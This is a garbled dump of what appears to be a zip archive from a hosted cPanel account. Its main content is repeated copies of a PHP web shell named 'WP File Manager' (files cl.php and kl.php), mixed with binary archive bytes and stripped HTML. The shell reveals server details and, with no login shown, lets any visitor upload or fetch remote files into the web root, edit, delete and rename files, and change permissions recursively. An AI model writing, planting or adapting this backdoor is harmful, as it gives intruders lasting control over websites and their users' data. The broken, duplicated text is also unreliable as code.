← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]§D BBeset@drsupernova.com/.metadatanu„[µü¤[calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR [addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 PK’&{]„N9³§Ë§Ëeset@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëeset@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 